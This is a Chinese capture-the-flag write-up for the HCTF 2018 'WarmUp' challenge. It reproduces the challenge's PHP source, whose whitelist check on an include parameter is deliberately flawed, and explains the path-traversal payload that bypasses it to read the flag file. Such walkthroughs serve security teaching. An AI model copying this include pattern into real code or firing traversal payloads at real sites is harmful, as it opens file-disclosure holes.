题目链接:https://buuoj.cn/challenges#[HCTF 2018]WarmUp
打开环境后如下。
查看页面源代码,发现存在提示 "source.php"。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
访问 source.php 页面如下。
提取一下出现的代码(此处添加了笔者注释)。
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
// 白名单
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
// 如果 $page 参数没有被设置,或不是一个字符串
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
// 如果 $page 参数的值在白名单中
if (in_array($page, $whitelist)) {
return true;
}
// mb_substr 函数:截取子串
// mb_strpos 函数:找到指定字符第一次出现在字符串中的下标
// 新建变量 $_page,截取掉原 $_page 中可能出现的 ? 字符
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
// 如果 $_page 在白名单中
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
// 检测是否存在 $_GET['file'] 或 $_POST['file'],并且是字符串,并且通过 emmm::checkFile 检测
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
// 文件包含
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
通过代码分析可以知道,网站接收一个 "file" 参数,并对该参数进行一系列检测。同时,该代码中还提示了存在两个 php 文件,分别是 "source.php" 与 "hint.php"。
hint.php 页面如下。
hint.php 提示了本题的 flag 是在 "ffffllllaaaagggg" 中。
Payload:?file=source.php?/../../../../../../ffffllllaaaagggg
。
以下结合 Payload 进行分析:
- 用户传入 file 参数,并设置为:
source.php?/../../../../../../ffffllllaaaagggg
。 empty($_REQUEST['file']
检测通过。is_string($_REQUEST['file'])
检测通过。- 进入到:
emmm::checkFile($_REQUEST['file'])
检测。 - 在代码:
$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));
处,$_page
被设置为:source.php
,因此代码:if (in_array($_page, $whitelist))
检测通过,执行代码:include $_REQUEST['file']
。 - 即,
include "source.php?/../../../../../../ffffllllaaaagggg"
,存在路径穿越漏洞,导致实际执行代码:include "/../../../../../../ffffllllaaaagggg"
,包含了存放了 flag 的文件。